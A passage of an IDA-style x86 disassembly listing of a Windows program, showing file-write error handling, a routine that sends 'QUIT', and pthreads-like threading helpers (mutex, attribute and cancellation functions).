		test	esi, esi
		jg	short loc_42E4FA
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E523:				; CODE XREF: sub_42E400+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E53D:				; CODE XREF: sub_42E400+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E593
		mov	esi, dword_50FA94


loc_42E55A:				; CODE XREF: sub_42E400+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E581
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E55A
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E581:				; CODE XREF: sub_42E400+166j
		push	offset aLocalfileWrite ; "localfile write"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E593:				; CODE XREF: sub_42E400+F4j
					; sub_42E400+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E5B6
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4


loc_42E5B6:				; CODE XREF: sub_42E400+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E400	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E650:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E680:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E6B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6B7:				; CODE XREF: ___:0042E6AAj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_445504
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E6F8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6F8:				; CODE XREF: ___:0042E6EBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_445708
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E754
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_445700
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E754
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E754:				; CODE XREF: ___:0042E717j
					; ___:0042E738j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E7B0:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E7E0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7E0:				; CODE XREF: ___:0042E7D5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_445714
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E81B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E81B:				; CODE XREF: ___:0042E80Bj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E880	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
sub_42E880	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8B0:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8E0:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_44572C
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E979
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_445720
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E979:				; CODE XREF: ___:0042E901j
					; ___:0042E91Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E9C0:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E9E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: ___:0042E9E0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_445738
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA40	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EA79
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D1A0
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42EA79:				; CODE XREF: sub_42EA40+Aj
		pop	esi
		retn
sub_42EA40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA90:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EAA0
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAA0:				; CODE XREF: ___:0042EA97j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EAB6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAB6:				; CODE XREF: ___:0042EAADj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB10:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EB29
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EB29:				; CODE XREF: ___:0042EB20j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB60:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EB85
		test	eax, eax
		jz	short loc_42EB85
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EB85:				; CODE XREF: ___:0042EB74j
					; ___:0042EB78j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBB0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBC9:				; CODE XREF: ___:0042EBC0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EBDD
		cmp	eax, 1
		jz	short loc_42EBDD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBDD:				; CODE XREF: ___:0042EBCFj
					; ___:0042EBD4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC00:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC20:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC40:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC59
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC59:				; CODE XREF: ___:0042EC50j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC80:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC99
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC99:				; CODE XREF: ___:0042EC90j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECF0:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42ED12
		dec	eax
		jz	short loc_42ED02
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42ED02:				; CODE XREF: ___:0042ECFAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42ED12:				; CODE XREF: ___:0042ECF7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED30:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EDCB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EDCB
		push	18h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EDC2
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		jmp	short loc_42ED72
; ---------------------------------------------------------------------------


loc_42ED70:				; CODE XREF: ___:0042ED64j
					; ___:0042ED6Aj
		xor	eax, eax


loc_42ED72:				; CODE XREF: ___:0042ED6Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDB8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDAF
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDAF:				; CODE XREF: ___:0042EDA7j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EDB8:				; CODE XREF: ___:0042ED92j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42EDC2:				; CODE XREF: ___:0042ED5Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDCB:				; CODE XREF: ___:0042ED39j
					; ___:0042ED45j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EE10:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EE78
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EE78
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE6E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE5F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE5F:				; CODE XREF: ___:0042EE4Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EE6E:				; CODE XREF: ___:0042EE3Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE78:				; CODE XREF: ___:0042EE1Aj
					; ___:0042EE21j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEB0:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42EF64
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42EF64
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 27606B4h
		test	eax, eax
		jnz	short loc_42EEF7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EF44
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EF40
; ---------------------------------------------------------------------------


loc_42EEF7:				; CODE XREF: ___:0042EED8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EF1B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF1D


loc_42EF1B:				; CODE XREF: ___:0042EF07j
		xor	ebx, ebx


loc_42EF1D:				; CODE XREF: ___:0042EF19j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EF40
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EF40:				; CODE XREF: ___:0042EEF5j
					; ___:0042EF2Fj
		test	esi, esi
		jnz	short loc_42EF5E


loc_42EF44:				; CODE XREF: ___:0042EEE2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3FC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EF5E:				; CODE XREF: ___:0042EF42j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF64:				; CODE XREF: ___:0042EEB7j
					; ___:0042EEC1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFA0:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_42EFC3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42EFC3:				; CODE XREF: ___:0042EFB2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFF0:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F011
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F011
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F011:				; CODE XREF: ___:0042EFF9j
					; ___:0042EFFFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F030:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F04D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F04D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F04D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F04D:				; CODE XREF: ___:0042F036j
					; ___:0042F03Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F070:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F09A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F09A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F08E
		test	eax, eax
		jnz	short loc_42F09A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F08E:				; CODE XREF: ___:0042F085j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F09A:				; CODE XREF: ___:0042F076j
					; ___:0042F07Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F0B0	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F0B0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 331314E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 2331459h, 0A4E85390h
		dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h,	83FFFD1Fh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F170:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 0E8525338h, 2331255h, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 331398E8h, 0E4E85702h
		dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F230	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F230	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 0B6E89050h, 85023311h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
		dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F2B0:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F3E9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F2EB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F2EB:				; CODE XREF: ___:0042F2DCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F3C2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F3C2
		cmp	[esi+0Ch], ebp
		jge	loc_42F3D5
		test	edi, edi
		jz	short loc_42F354
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F354:				; CODE XREF: ___:0042F329j
		mov	edi, [esi+4]
		push	edi
		call	near ptr 27509A6h
		nop
		push	0
		push	edi
		call	near ptr 2760411h
		nop
		cmp	eax, 102h
		jnz	short loc_42F3E2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 2750B7Fh
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F460
		push	ecx
		push	edi
		nop
		call	near ptr 2750DE0h
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		nop
		call	near ptr 2760000h
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3C2:				; CODE XREF: ___:0042F30Dj
					; ___:0042F318j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F3D5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2760263h
		test	eax, eax
		jnz	short loc_42F3D9


loc_42F3D5:				; CODE XREF: ___:0042F321j
					; ___:0042F3C5j
		mov	[esp+10h], ebp


loc_42F3D9:				; CODE XREF: ___:0042F3D3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_42F3E2:				; CODE XREF: ___:0042F36Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42F3E9:				; CODE XREF: ___:0042F2CFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F460:				; DATA XREF: ___:0042F390o
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

